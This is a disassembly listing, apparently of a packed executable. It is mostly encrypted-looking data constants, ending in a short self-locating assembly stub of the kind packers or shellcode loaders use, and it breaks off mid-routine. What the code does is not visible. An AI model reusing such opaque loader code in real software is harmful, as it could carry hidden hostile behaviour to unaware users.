		dd 0E22A5A57h, 400C9320h, 9B1BFA4Dh, 0FCB43DF7h, 2A8E92CFh
		dd 62ADD8C3h, 0C78C3BA1h, 118F2CC3h, 7E72D068h,	0E90A174Dh
		dd 2C402F10h, 4507A036h, 0FF19E818h, 0B1F454EAh, 63CB8BC1h
		dd 0D5A8F2DEh, 0CF8127B7h, 3F202C87h, 6D3AC062h, 0D3510D55h
		dd 266E6525h, 4809BF7Bh, 0D98F4001h, 0F7F944D8h, 45D7FECCh
		dd 86A9B0A6h, 0FDCA6EA8h, 23619D85h, 0DF21D575h, 0D4553768h
		dd 171B2A64h, 351FD57Fh, 0A2EB070Dh, 0DE900B2h,	479AA18Ah
		dd 0FCB1F0A6h, 0B5456FB6h, 51AEFCD2h, 0C3E51E11h, 67508073h
		dd 5A55091Ch, 0C7BCAD7h, 38D8D095h, 5F11122h, 0F18D2A2h
		dd 0A3D343EEh, 0A443D000h, 4A990D35h, 2FB94219h, 8C4E9ABCh
		dd 93E2411Fh, 0FD74A467h, 0AF8E5681h, 61A8089Bh, 13C2BAB5h
		dd 0C5DC6CCFh, 77F61EE9h, 2910D003h, 0DB2A821Dh, 8D443437h
		dd 3F5EE651h, 0F178986Bh, 0A3924A85h, 55ACFC9Fh, 7C6AEB9h
		dd 0B9E060D3h, 6BFA12EDh, 1D14C407h, 778BF541h,	81483879h
		dd 71DE7FD6h, 0EA7C8C7Fh, 1A827D3Eh, 0FEBFE8F0h, 2BC9A4F6h
		dd 89C0105Ch, 2DF244DAh, 195A8312h, 81B97E56h, 790E372Bh
		dd 65DE5BD0h, 5C098063h, 8B8A7031h, 0FF37E14Ch,	8E1774E9h
		dd 29E84C19h, 4326A570h, 578440Fh, 975E5E29h, 0E4501043h
		dd 0B494ED8h, 0D5BD2D77h, 0BF1D2AE5h, 0CE4F3AAFh, 0F3901E40h
		dd 4C1BFFDFh, 635963FAh, 0E9C3A003h, 24C622D2h,	59BC8747h
		dd 92E74083h, 0C1984BF7h, 7A22016h, 268EE7AAh, 995B6EBBh
		dd 0D7AB681Fh, 4F0AD87Eh, 6166B13h, 8F4CB932h, 0AEA7AFA3h
		dd 28BC819Ah, 0A5CEE0F2h, 2CA55699h, 9C4F0387h,	0CBCA3055h
		dd 3F60A120h, 2F0ED611h, 0DDC0881Bh, 18423A35h,	551E78CAh
		dd 1DF7669h, 0B178AF7Ch, 0D8AA029Dh, 1D86200Ah,	0B7AB66D1h
		dd 55F08562h, 0BFF9CA15h, 97B8F1E0h, 8852E29h, 292278D6h
		dd 7FEF1B6Dh, 759454C5h, 4FAEF6A2h, 8A0B6188h, 0B3E2DA46h
		dd 88145EEFh, 14E941F7h, 0D972CCB6h, 0F89C213Dh, 2264D82Dh
		dd 0DF7F81F5h, 81E2BB8Bh, 0BE36E5A5h, 7ECC9CBFh, 4FB6429Bh
		dd 0A6FFFE3Bh, 49A6370Eh, 7B376437h, 0EF469C11h, 381CC8A2h
		dd 0A7AC83F5h, 74776C8Ch, 0B6B79622h, 360F4F22h, 0DF13C302h
		dd 3804B8BBh, 3735FFFDh, 0BEC2A1A8h, 6352BDCAh,	6DEDDA5Fh
		dd 0C8B45D87h, 79A08B16h, 113984ADh, 56D1F1C7h,	8D0526ABh
		dd 0B00BE270h, 0D507244h, 103FB3D0h, 5746BCF5h,	71B035CEh
		dd 3F0E6D86h, 92A41497h, 0FFC7A04h, 843028CBh, 800DD51Bh
		dd 254E607Ah, 5BA30119h, 9A405071h, 0C809D649h,	2647A6A7h
		dd 4C86E08Eh, 41618889h, 37E67BE6h, 0E1C045CBh,	2CD212C0h
		dd 0A8F93B43h, 60FD8DE6h, 0C7A40EAh, 511B4EAAh,	704EECB0h
		dd 2A9137Eh, 0D4828860h, 0B2E47842h, 38C6147Fh,	33138116h
		dd 9C0AB0F4h, 97C70BDAh, 5E5CC8h, 165D9CAEh, 6472F88Eh
		dd 0B2A90E72h, 0B6B68442h, 0EB883A28h, 0DC0D0FD7h, 101F90Eh
		dd 0F80C7A88h, 3CCD94CAh, 71261EFCh, 0D22F2601h, 4C087F8Ch
		dd 8B8A14B4h, 25855CC1h, 0B0E74C3h, 0C70A4AD8h,	0B04905Eh
		dd 0FAE982E7h, 0BFF4DDD6h, 6C3AC1C4h, 0EE4B2A05h, 37048B88h
		dd 0CF955592h, 83DDAFBh, 49D29AE3h, 0FD861B34h,	0BD8644A1h
		dd 4938D510h, 5E3BBA3Ch, 5CECFBB8h, 8B6EB661h, 10851CA9h
		dd 9868E475h, 9DB92759h, 57D67EC9h, 4A4FD248h, 29A7770h
		dd 3A0F9407h, 68FD9CC6h, 41617CCEh, 372AA65h, 75195377h
		dd 91ADEE58h, 9F94236h,	0CDAF73CDh, 587D2981h, 0AAF8C5EAh
		dd 0E138B199h, 0F5444F37h, 0AE79DD42h, 0F67BF86Dh, 413B36A6h
		dd 0A455FD21h, 84F0F73Ch, 0AF9CCA44h, 863BB3EBh, 332B4E80h
		dd 0D52C7C1Fh, 47D32131h, 0D1CA5C57h, 14856DF1h, 0DF24D10Eh
		dd 0CA58F6B1h, 1D89139h, 0BCE62FD4h, 4EFEE7DEh,	0E0D515C9h
		dd 0D909F4A6h, 7B4A223Dh, 0A743A05Fh, 0CF47F8F4h, 9A78F98Bh
		dd 639E7C3h, 0D7C37D9h,	0D963C473h, 980010CAh, 6C1FA9EDh
		dd 1632ED43h, 0C428D672h, 45D0DAB0h, 78827FFAh,	0BCE2A905h
		dd 6FB2DEB9h, 42C87002h, 0F6F841Eh, 4404E4D0h, 3AE83FAh
		dd 95E78C0h, 0C8340AAEh, 1106A5B4h, 338F8621h, 7D2DDF6Ch
		dd 235A137Fh, 1D5D81A1h, 8C059D87h, 2BA2784Bh, 3CAC234h
		dd 25C3B3DCh, 47716ACCh, 0F3F0B663h, 3FA51175h,	93676045h
		dd 0E17DB27Bh, 2F1F0C01h, 7D2B5E2Fh, 0CB00A835h, 1929FAD3h
		dd 294F34F9h, 0FB9119B4h, 26C40EE0h, 5A3E926Ah,	9918C870h
		dd 0E401065Eh, 0D5E5E84Ah, 77D61EE9h, 5C966003h, 562E861Fh
		dd 28CECA78h, 3F4EDF2Dh, 0DF8330Dh, 13953F80h, 0AAE37C9Fh
		dd 652E04F9h, 4E1F9F2Ch, 7BC39668h, 1D54C407h, 0A9961021h
		dd 354A5D0Ah, 83C9BC7Ch, 9BF98677h, 57962EB0h, 0A11AF343h
		dd 4355D80h, 2813DC67h,	5FEE3F75h, 1118380Bh, 45826850h
		dd 4C30B9B5h, 8C00CE49h, 0AC857CF3h, 0B9A828Ah,	97F41BE8h
		dd 7F731B02h, 49E858E2h, 0ACFD05F8h, 3C9829F8h,	0B7365E39h
		dd 6A240043h, 0ECC0A2EDh, 0DDBDF0F2h, 7F9E2691h, 89BFACA3h
		dd 0E33E0190h, 101B7374h, 4716D77Dh, 0F820A010h, 0ABCAD622h
		dd 0B5E40447h, 0B2E71DCBh, 0C1982AE7h, 8C5CD67Dh, 8F547C50h
		dd 776BF762h, 61F020A1h, 0C4F51C40h, 0D4A011E0h, 9F3D4621h
		dd 4B2CF84Bh, 3AF62F92h, 0B58C5C6Fh, 6DD20F99h,	0E63EEE5Bh
		dd 35419A32h, 9444DB18h, 0AA857DABh, 0E138CA87h, 5B69F5BEh
		dd 7F851C6h, 0BFFF9E79h, 0CDF7E87Fh, 68013462h,	0FA6FD277h
		dd 0AFE7E254h, 71F81BEBh, 0D501BE05h, 0C515FE9Ah, 8D32AE39h
		dd 0C69D4ABBh, 15217A92h, 0FA2CBB78h, 0E4887FC5h, 0AAAE6888h
		dd 8A66DF22h, 65FF0CFFh, 4D62BE09h, 0F0B2F5D5h,	0ECA222Dh
		dd 0D0E53C5Dh, 0ED96798Eh, 7967C775h, 0BC4D17A7h, 0E124BC0Fh
		dd 4419B122h, 0A6B866CAh, 9AB1D418h, 39A1EF8Ch,	984E0678h
		dd 22AA3F89h, 0A6827A75h
		dd 7940C49Bh, 28062156h, 162A7E2Bh, 64522422h, 0DCAF92E2h
		dd 74D12DBAh, 0A17AFCAEh, 0EA9A2145h, 909B4017h, 0C79657FDh
		dd 79A02090h, 0AE4DEAD9h, 0DDC4BD43h, 89EE36E1h, 0C4FFC48Fh
		dd 0F332A391h, 0A43C4C2Fh, 95BEF43Ch, 0E18F4F9Eh, 44759F36h
		dd 54209160h, 1FBEC6A1h, 0DBAC7CCBh, 7C0F860Dh,	0C86D3400h
		dd 62D171E6h, 995079B7h, 4B5AF249h, 6B9CB313h, 1771A97Ch
		dd 0A956C8B2h, 0D3CA021Eh, 7D7768BBh, 101DE69Ch, 0D46F38A8h
		dd 5EDD7DE2h, 8D540DB3h, 3F5EE659h, 4CF8EA1Eh, 0A3827307h
		dd 0BDC5889Fh, 0F83953DCh, 90F8496Bh, 155F1824h, 0DD14D43Eh
		dd 6A2475C5h, 81581145h, 0CE2932FEh, 54CC7390h,	1513B423h
		dd 0E3B0E09Ah, 4379E55h, 28525B28h, 5FEE3F8Fh, 15D8BC86h
		dd 0CBD2AB65h, 0DE2A918Fh, 70CCCFE9h, 267DA09Bh, 0AFA61B72h
		dd 0C6565CC1h, 6B4B6198h, 0B1E858E2h, 2702FAF5h, 0AF551C08h
		dd 4D43E64Fh, 0C236F141h, 0E4963EB5h, 676CC488h, 0F635E6A2h
		dd 21FA5016h, 67577DC5h, 0B5EC2CE6h, 3206EEF9h,	27C8F704h
		dd 0F1C5ADD1h, 5E4CBCCh, 8A647C4Ah, 0C1985107h,	0D95E501Ch
		dd 0DA400447h, 566E1836h, 0D75C723h, 7B0AF2C4h,	99249417h
		dd 0B7FAC632h, 68245D41h, 0A814AA75h, 0F700E1F6h, 900D0E89h
		dd 9F94436h, 0CBDA72CDh, 0CDFD51A7h, 538BD451h,	4B289822h
		dd 0AAC6BFC2h, 45DCEC5Fh, 0FC039E69h, 2C9AE833h, 5BBA3BE0h
		dd 6BF95F1Dh, 48C65769h, 61C19C6Eh, 2313CA05h, 652E081Fh
		dd 0FAE32410h, 0F960F06Ah, 4E709189h, 9D847DFAh, 0F7C85DC7h
		dd 843F583Ah, 0B3F26351h, 65FC0EEFh, 0DFA2BC7Ch, 0F04DD529h
		dd 0D02C222Dh, 6FCC69DEh, 4FC68661h, 3A9838A2h,	7A366F52h
		dd 0F5C49CAFh, 0D6924ED9h, 0A6FC201Bh, 8F9F45F2h, 0BD34741Eh
		dd 1A4E1645h, 2BD07850h, 0C3BB04F0h, 0C877868Fh, 0E325B5Eh
		dd 0E1D090D3h, 8A9F42DDh, 0AD874C91h, 0C660031Bh, 1A5E583Bh
		dd 88F8CA76h, 3CD4DA4Ah, 0B9236461h, 0B9A030AAh, 8EB0D149h
		dd 0DDC4BDB9h, 0A199D87h, 4118D17Fh, 0F3228A15h, 65BDF449h
		dd 93D6FD3Dh, 77D5BA6Bh, 0DD8A7244h, 0E8121B3Ch, 1FAEFF33h
		dd 2A779060h, 605D51Ah,	351CE57Bh, 0A7268E19h, 0C9F04E47h
		dd 7226774Fh, 15DEA477h, 5071AD14h, 0E8564716h,	3802A38h
		dd 41599BCFh, 77F60ED0h, 5D90D003h, 71C23211h, 39F9BD9Ch
		dd 0D45EF613h, 0A99706Eh, 0C97AB57Ah, 0A2530364h, 17FF2A3Ch
		dd 0B8E060D3h, 0DBF167EDh, 6191CE47h, 652E6618h, 392E27D0h
		dd 96681AD6h, 0E56CB513h, 962695EFh, 0CD350709h, 0FBCAB284h
		dd 0D8E456D7h, 0DB7BF1DEh, 1118A832h, 0B6326E25h, 7F8CAC25h
		dd 375FB0DCh, 5A250A73h, 4A9A22B4h, 85D2F447h, 5F6517A7h
		dd 11E0A3DBh, 2D87F0B5h, 0AF1CBC36h, 8EB2DBDEh,	69501053h
		dd 0B1FC255h, 2507CC11h, 46E3839Bh, 9ADED8BBh, 0EB398B75h
		dd 10E6746Fh, 4716D784h, 3FF48B9h, 2ECDADD2h, 5D443DC3h
		dd 0F7EB661h, 0E4FD1DCAh, 8B21A2F3h, 1CC169A5h,	7CB07ED9h
		dd 0A05AF0D0h, 2B487240h, 69A16317h, 9F3E5608h,	2458D84Bh
		dd 0E8051B7Ah, 0BC343A64h, 1A030481h, 0D9C0D08Ah, 6ED07129h
		dd 7DE41D9Ah, 92277D67h, 0E138CA8Bh, 36C8FBBFh,	454CAEDFh
		dd 0AFC6350Fh, 90ECD581h, 0B300028Dh, 0F23B4ECEh, 865AE326h
		dd 71FB18FBh, 0F66CB05h, 0ECA8F9E8h, 87462E29h,	1915E453h
		dd 0D2FE179Ah, 9D944497h, 45DBF5A1h, 0FE317653h, 49A9B22Ah
		dd 6514F310h, 0FFE941F3h, 36CF8A62h, 42CEA7CAh,	2D64D447h
		dd 0D70A8E71h, 7932F13Bh, 0BC4D1088h, 0CC481948h, 0A7E64EC9h
		dd 737410F3h, 8E30B5BDh, 0BD245D5Bh, 6254F680h,	214CC0D2h
		dd 0EAFEDF77h, 615C2C9Fh, 33725EAAh, 102F7868h,	0FA5ABD22h
		dd 0B4F31C5Dh, 477859EEh, 1432B8D4h, 63423339h,	0F3841739h
		dd 30799180h, 6999A416h, 2BBAF2ADh, 5690F0C7h, 763BD26h
		dd 6A08F8B9h, 0F6313D4h, 2036149Fh, 5746C735h, 0F0CF58C9h
		dd 3E7D9D82h, 6DB42D13h, 1FFEC6B1h, 69BE74BFh, 6F8E9B5h
		dd 351CE583h, 5F4084F2h, 3C4AA0CCh, 4B4ACB31h, 6B9C0F01h
		dd 5871A978h, 71918C1Eh, 13C2B9B5h, 4E8318CEh, 0D7739526h
		dd 210C041h, 27620BD5h,	8B3FD04h, 3F4EDFD5h, 0F1F8986Bh
		dd 261F44F0h, 55BCC5E3h, 8786A633h, 4193632Ah, 2F371660h
		dd 0DC14D423h, 449E7EC1h, 0E74ECB90h, 55A2EBEDh, 6AC4EAC4h
		dd 972E5609h, 0A8B2F0A3h, 509209DBh, 0AB919D52h, 9FCFBE97h
		dd 0D2A8136Dh, 3A19828Fh, 0F0BBE3C0h, 2776F7DDh, 59808073h
		dd 441128F9h, 7F00612Ch, 27E596D1h, 49140052h, 0ACFD038Ah
		dd 0EDB66FBFh, 48C9A72Ch, 50C095CEh, 9E9DC24Dh,	0CD944DF3h
		dd 5F9E2691h, 1AEFDEDEh, 0FA39D23Dh, 0BEC46F54h, 0CCD6C501h
		dd 0E962089Eh, 23AF532Dh, 5C541405h, 2B2A3D58h,	0A935E17Fh
		dd 0F8A20A85h, 35FE4012h, 5F5355C9h, 7EF020A1h,	2B336678h
		dd 0ED24D417h, 683C3231h, 559A5393h, 8025FC65h,	0A5CE98C2h
		dd 0E3A90E99h, 19C0C16Ah, 0CBDA7F25h, 2FB16FE7h, 1C42934Fh
		dd 0AD6CA629h, 6BD3A79h, 454CD23Dh, 0B5AE1BE0h,	22C35093h
		dd 83A93EC5h, 86ECC748h, 0A6365292h, 0FA07E71Eh, 33507290h
		dd 972F271Fh, 5BC3A735h, 3A60F011h, 6EF39A2Fh, 9D840667h
		dd 0B086852Ah, 1C82808h, 4710B2D5h, 0D877F310h,	1706FCB1h
		dd 3DD69875h, 0EEC1DDC2h, 2D7496EFh, 0DC76CCFAh, 5FB334C1h
		dd 4CB70326h, 0F5CDFC37h, 0FD6241D9h, 5A0000F2h, 1B580EB8h
		dd 0C5816727h, 0C34E0603h, 0A4672067h, 0D3827AD7h, 0AE986A02h
		dd 27F4A62Ch, 0B9D693C3h, 641EE135h, 0F5B97708h, 0FF1EB653h
		dd 0F603535Eh, 78D10549h, 0FE6CBC5Eh, 7F135775h, 76A030D1h
		dd 2BBBDF28h, 0A55187C7h, 0E9EE26A3h, 64F7D07Ah, 0F3DE1F1Ah
		dd 0E5B74C2Fh, 6315D54Bh, 0FD165833h, 6B39D82h,	6DB4562Fh
		dd 1F5A43BEh, 54DB78CBh, 83E26859h, 777459FCh, 0E7AD8E09h
		dd 964C0718h, 4B5A3FCFh, 0F5339F67h, 0AF4AD58Eh, 0A12B089Bh
		dd 785B9B7h, 87A4E9CCh,	27A41EF9h, 6BC865FCh, 4ED5820Dh
		dd 8D540A05h, 309E630Bh, 0F1782FEEh, 0A30EA385h, 0AA90FC9Fh
		dd 7522BB6h, 876060D3h,	0E07F1DF8h, 9614C407h, 8C057767h
		dd 74A0780Fh, 0A9D25A6h, 0F53E34D2h, 94E14B89h,	59F24C26h
		dd 834FA1BDh, 24E44495h, 4FBCE274h, 2A18330Bh, 0D370B6A0h
		dd 4E446E3Fh, 37242EDCh, 0E4E9F273h, 0FB9A328Dh, 225CD3D5h
		dd 62CE96C1h, 6063B495h, 1101F8DEh, 0E199971Fh,	0C2364E6Bh
		dd 7994934Fh, 5FE5F3A2h, 26E56853h, 0FA11E58Ah,	31A89A33h
		dd 9B6701A5h, 7DEC2C9Dh, 0B8F91A6Ah, 0F9200972h, 0A54FD22Dh
		dd 2F58436Ch, 7298D68h,	3EB4EA74h, 7CEBE56Ah, 0DA427E2Ah
		dd 0F3EAF536h, 0A0749762h, 0C4F5E2FDh, 0AFCF7BE8h, 0FF1A0CB0h
		dd 1FB8F84Bh, 0FF96A56h, 7109DB5Bh, 0EEA61EDBh,	9820036h
		dd 4363FFCDh, 7EF424CEh, 3F4CAE84h, 448DEE1Bh, 9084117Bh
		dd 777F80Dh, 0C305865h,	0FA11976Bh, 5EAA029Dh, 84C4B4B7h
		dd 0E1819A97h, 0E4074F28h, 2302F47Bh, 0DA3394DEh, 874734BCh
		dd 5334B053h, 1485F845h, 8DAA9A12h, 106E73A1h, 0CD20B4h
		dd 3F0A5AD5h, 8D03F30Bh, 1716BE18h, 8F441570h, 282F4E54h
		dd 5F11B732h, 9E07F218h, 0DD2DC78Bh, 0BCB2FAE7h, 0E5F2AE2Ah
		dd 0F363C7D9h, 0B10010B1h, 0B1AB214h, 0DC600174h, 1801732Ah
		dd 521AAD35h, 83F2131Dh
		dd 0ECEA45FDh, 52D1BBC5h, 0B438C7C3h, 7315BD35h, 4D04F4E4h
		dd 9A4CC342h, 0C3572C58h, 0A205A20h, 7000D529h,	90860B1Eh
		dd 86481F7Bh, 2BA83A52h, 0B88784C7h, 0E48D57A3h, 3358988Eh
		dd 9F4BEC7Ch, 0A5592B4Ah, 0BF74161Eh, 11984F9Ch, 0E88A627Dh
		dd 0CCC57F2h, 51DBA1DFh, 0B7B10CA4h, 0EA807A9Ch, 5060B589h
		dd 0B026EB7Eh, 66A7BFDBh, 0C60EA2B2h, 0ED4934E2h, 0FFEA3C81h
		dd 9EFF09F1h, 3FC5020h,	0E1E0E5CFh, 49D08B16h, 0E93AD013h
		dd 9A623F90h, 0DD143427h, 0AFEB1901h, 99788856h, 0A3964A84h
		dd 2AD96CBh, 45923B46h,	0D3B460C3h, 0FE0545E9h,	1D048653h
		dd 303AB2A2h, 910A648Eh, 51F72555h, 0BA7C9C51h,	0DF23B34Ah
		dd 1FB0E0E2h, 0C5AC3742h, 556754C7h, 0E47A090Eh, 9818B80Bh
		dd 0D37032A0h, 234C763Fh, 19C45BA6h, 19058063h,	8B3EB682h
		dd 0FD9FE4A7h, 0ECA4C691h, 0C9E9228Bh, 9302FAF5h, 47895359h
		dd 34364E17h, 0ED5FEFBBh, 1B6AC45Ah, 8FD8F1FEh,	0F2132681h
		dd 31A89ACBh, 0A1BA1F48h, 0C7BD3CCFh, 0B856EE93h, 0E91ECE86h
		dd 54C2D12Dh, 58818048h, 0F04B661h, 83D4DD84h, 0E65D1A85h
		dd 25ACF2C5h, 0D829864Ah, 89F58E67h, 4B8F6BFDh,	0DE248455h
		dd 0CEFD45F8h, 5532A91Bh, 5FC75534h, 4A8C4C3Dh,	7798480Ch
		dd 160045B3h, 0CBDFE849h, 0F43D17E7h, 3F4CA284h, 0B079D91Bh
		dd 9C42255Dh, 0D0A3BC4Fh, 0F766A0E7h, 2D9F9006h, 5BAA07CEh
		dd 4FBC313Eh, 71D66C1h,	71F86A00h, 0D42A818Eh, 0C515F89Ah
		dd 87462E39h, 3A669573h, 0FB6AFAE8h, 9E467787h,	0B85F0160h
		dd 854D215Ah, 0BE24A97h, 65FC2560h, 142AF582h, 0D92018A6h
		dd 7898113Dh, 0DA952396h, 0A3FB0F90h, 529828C9h, 45F95DAAh
		dd 78F97F46h, 10E9568Ah, 890314B0h, 23DBD944h, 87B5B424h
		dd 127611Eh, 0A275BCA2h, 0A183760Fh, 0B9D7A76Fh, 34A29C22h
		dd 0AD5D8081h, 421DBD95h, 0C83F35D4h, 0FF0EE461h, 956CD3E8h
		dd 0EC923955h, 156C04DDh, 80DAD79h, 0C42D2B78h,	2BAA93E5h
		dd 0EE0B0F3Bh, 0EED29A28h, 3B34EE89h, 0D30E9862h, 0D1607085h
		dd 2378C2A5h, 7C708CBEh, 30438195h, 35E12996h, 14CAC6F4h
		dd 839B2BF6h, 0B07725E5h, 0BEF32300h, 0AE71B31Ah, 1D4F037Dh
		dd 0B4A50D6Bh, 0A837F35Ah, 0B40A59CFh, 5C57F764h, 21F1F9E2h
		dd 3ACCE8C0h, 27CBE116h, 265F8450h, 24D58799h, 659F07C8h
		dd 0C0A1187Ch, 0B90881Eh, 4B6DB579h, 0AA5302BEh, 0F92A2AB6h
		dd 6BD39F2Ch, 6BFA0405h, 0E2772C07h, 0CFC689DEh, 0DC48283Bh
		dd 77137D4h, 1F958C7Fh,	0F3963E8Ah, 0FC3BC25Ch,	0FBDAE0C5h
		dd 0CBC6DDB3h, 5B33870h, 12FB3D04h, 9DB96A25h, 13921F03h
		dd 6236F5D8h, 0DA53057Ch, 0C86D328Dh, 3D94E4B1h, 294B99C1h
		dd 57E848D8h, 5C00A6B6h, 51F108Bh, 0BF75D529h, 0C9F0B07Eh
		dd 0B5EECDFDh, 0F0847474h, 5FBE06B1h, 321B5CA4h, 68598AC5h
		dd 95EC3C17h, 0AF57F81Ah, 6DF4F9Bh, 0E986DF2Eh,	93570457h
		dd 0F2ED7E2h, 0C1CC09F8h, 8C5C817Dh, 5F3EC350h,	54D67ECAh
		dd 99B2F046h, 7981E2FDh, 0FD6E1F1Fh, 9B4D871Ah,	54B33878h
		dd 49FB6266h, 3509D56Fh, 64A61EDBh, 1978CCF9h, 9ADA73CDh
		dd 82129A0Fh, 0AD9BE6FEh, 50289822h, 10F70A15h,	2F5CFC76h
		dd 0AFBF6049h, 0D7844FBh, 0DE55FD7Bh, 0CF50BB65h, 2AEF8402h
		dd 71E8216Fh, 0A6E52FEEh, 0D53C459Bh, 86462E39h, 0BC97C227h
		dd 0EB6AABE9h, 9D944484h, 0EA2FFAD4h, 1D8913Fh,	481DA52Ah
		dd 0E87D0604h, 1706878Dh, 0C1307023h, 7B4A2455h, 2B0C8D57h
		dd 877E8671h, 6E7E6E63h, 3F37605Ah, 73CC8C86h, 9E9A645Dh
		dd 0DC8800E3h, 0B0A8B71h, 38C384C5h, 6F5E2FC5h,	2168C853h
		dd 6E027300h, 858C15F1h, 0C073AAA8h, 0F9E91446h, 9BEA42DDh
		dd 0CD1F80FFh, 0EF27DAACh, 14C5D2Bh, 5A2FB7C5h,	6169BC4Fh
		dd 0B93BEEDEh, 7CA030AAh, 0AE4D4CD9h, 0DDC4BD43h, 9FEE36E1h
		dd 0FC88E18Fh, 0F332A369h, 26B53B2Dh, 47143AECh, 0AF98B063h
		dd 53759D8Fh, 925BE9D4h, 1FBCB759h, 0AD45F3CBh,	80F23AA7h
		dd 254E5C62h, 1B7D6619h, 1D4FBFCCh, 4B5AF01Ch, 0BF0C11ECh
		dd 0F1055691h, 89760BA7h, 0EC3D47E9h, 0C7E7EEC0h, 3D771EE9h
		dd 2910B027h, 89D409FDh, 993E3761h, 0C84E9C52h,	0E1411CEEh
		dd 0A3924A85h, 0DCB889BFh, 17846604h, 2955EDD3h, 0E0FA02D4h
		dd 0D04AC8Ah, 988A8521h, 81424C82h, 33D75755h, 167C9C7Fh
		dd 74968F2Ch, 0BE1403A1h, 0EBF32638h, 0ADE454D7h, 0F17A09D1h
		dd 0EE18B80Bh, 12DA4256h, 0FEB3E3D2h, 372476CCh, 0D6520573h
		dd 8B9AAA09h, 45016FA7h, 64CE8683h, 0EB695891h,	53029AD1h
		dd 0D5687EFh, 7E055C5Ah, 52446240h, 0B7AAAD0h, 0A509FF77h
		dd 0D9E3681h, 158453FDh, 0F3BA2F46h, 16EC3CCFh,	4706865Eh
		dd 83ABA013h, 0A3705325h, 0AAD3F344h, 4DE233EAh, 447F686Bh
		dd 73B22311h, 25BCCCEFh, 0CF217CBDh, 0A0FC42E0h, 0FFBF6BCDh
		dd 66248455h, 0AF3F6E42h, 68DC7DBCh, 332AA75h, 0B7F85C7Fh
		dd 8FF7166Eh, 0E63F3C98h, 0C8D69994h, 0FDF0C94h, 0DC58870Dh
		dd 6C71D7BFh, 837BAA80h, 8DE1654Fh, 4768E2Bh, 0A6CE0F27h
		dd 0DC2790ACh, 0DC4B588h, 865CF3EBh, 778D18FBh,	756A186Ch
		dd 5C4A6E2Bh, 0A0AEC769h, 639F1F89h, 0E876D8E6h, 186354CDh
		dd 4FBECF25h, 21C8A8BBh, 0C6E71B58h, 0A17185FCh, 1416AE4Bh
		dd 0D92018A6h, 13EDA13Dh, 2D64D457h, 5656C55Ah,	91986B0Ch
		dd 3371DA5h, 0F4CC8C80h, 0D3E64ED9h, 5143C7F4h,	0ABBA12ADh
		dd 84B0E1D0h, 6F4E1651h, 261CD85Bh, 24D99227h, 0EC6D370h
		dd 27F41A24h, 60D573C3h, 96016A96h, 0FC4797Ch, 0FDFDA601h
		dd 0FAB35BC0h, 0E7D7FD6Dh, 166CAC66h, 0B3866E79h, 0B125AB87h
		dd 28BAC2EFh, 0CD96344Ah, 236B35E1h, 4008F8B9h,	0E368111Dh
		dd 0E740C9A4h, 1D6FFE59h, 8073C36Bh, 0F98B6A37h, 35C79787h
		dd 9B3B4DB1h, 0B9D86889h, 83F20375h, 6C049EFEh,	6D76CD18h
		dd 8979C2A6h, 0CFDF054Dh, 0FD74B45Eh, 0DBAE5681h, 9250B9Dh
		dd 0A5C2AAA5h, 41599BCFh, 77F60ED0h, 5C10D203h,	2CEC7C09h
		dd 9D7DB0B2h, 3B5EE651h, 7B7EED6Bh, 0B3ABC930h,	0D1290B9Fh
		dd 7C6BE80h, 0CCE06093h, 69FD98E6h, 0CB166EC5h,	0C6C581C3h
		dd 437A2FB1h, 0D1B4D8FFh, 81AEBF98h, 18F21C02h,	0F433A8A1h
		dd 0FBDAE0E1h, 12605BD7h, 0A001F90Bh, 15AC0BEh,	71A79525h
		dd 8A4C0C01h, 3724BAECh, 0FF157F73h, 69A22B3h, 2DF6842Ah
		dd 875B1BC1h, 0F0E85899h, 0AC0290A7h, 155EF0BAh, 11A3A129h
		dd 9650007Dh, 0B289EE8h, 0EB118B77h, 0F29E36AFh, 21F9901Eh
		dd 0BB6775C5h, 0C3EC2C9Dh, 79A47B06h, 5CA3A003h, 0AB2A1071h
		dd 5DBCC747h, 526EB661h, 2C096911h, 73B2221Ah, 0E4B33CF7h
		dd 0C7C3FE4Ch, 4A30B5E3h, 0CBF52A7Eh, 6DA15518h, 5C3E5624h
		dd 7B58E876h, 656EDF65h, 0B9A820FEh, 74D37FF5h,	0E60428D3h
		dd 0CEAF8D32h, 820E910Fh, 0D0DC3EFEh, 0CF4977E4h, 0C53A17CAh
		dd 60E4FE7Bh, 97769E69h, 566FF56Bh, 0D0937762h,	80F490F3h
		dd 0AF9F2E64h, 79A893EBh, 25284B63h, 83090F1Dh,	78462E51h
		dd 53A46B53h, 142AC06Dh, 8DAAB612h, 476A75A1h, 3E94963Ah
		dd 0B09706EAh, 8DF8CA6Ch, 0E8E9446Bh, 36CF0FCBh, 0C38943C2h
		dd 2D64D423h, 0F0C6379Ah, 7998388Bh, 43B2EAB8h,	4DCCBC7Dh
		dd 0A7E64EE9h, 5900101Bh, 0B3E700Dh, 0BD35E19Fh, 6F4DFE41h
		dd 0DAAC85Bh, 0F7D6F775h
		dd 6B2E183h, 2ECADE51h,	0E9D078A3h, 0CF6142DDh,	0C659C4D3h
		dd 99F3270Bh, 59384812h, 9CADEAA2h, 15687E3Eh, 0C287697Ah
		dd 9E512691h, 63966768h, 119415FFh, 0FF8B0100h,	0B8h, 0C00B6000h
		dd 0E86874h, 58000000h,	5305h, 0E9388000h, 0EB611375h
		dd 372DDB45h, 0FF005150h, 0FFFFFFFFh, 3DFFFFFFh, 0E840h
		dd 25580000h, 0FFFFF000h, 0BB66FF33h, 83665A19h, 396634C3h
		dd 0F127518h, 33C50B7h,	44E9BBD0h, 0C3830000h, 741A3967h
		dd 10002D07h, 0DAEB0000h, 0BAB8F88Bh, 300183Dh,	526AB9C7h
		dd 0CF030011h, 0BAB80AEBh, 0B900583Dh, 51526Ah,	84E85150h
		dd 0E8000000h, 0
		dd 2D58h, 22Ch dup(0)
		dd offset loc_61B000
		dd 0E0Ch dup(0)
		db 2 dup(0)
word_621B02	dw 0			; DATA XREF: sdfs____:loc_5ADE63o
		dd 487h	dup(0)
dword_622D20	dd 0B8h	dup(0)	; ---------------------------------------------------------------------------
		call	$+5
		mov	eax, [esp]
		cld
		mov	[eax+32C7h], ebx
		mov	ecx, [eax+297Fh]
		mov	ebx, [esp+4]
		and	ecx, 10000000h
		jz	short loc_62304C
		pop	ecx
		mov	[eax+32CBh], esi
		mov	cl, [eax+2983h]
		mov	[eax+32CFh], edi
		cmp	cl, 0E8h
		jz	short loc_623041
		mov	ebx, [eax+2985h]
		jmp	short loc_62304A
; ---------------------------------------------------------------------------


loc_623041:				; CODE XREF: sdfs____:00623037j
		add	ebx, [eax+2984h]
		mov	ebx, [ebx+2]


loc_62304A:				; CODE XREF: sdfs____:0062303Fj
		mov	ebx, [ebx]


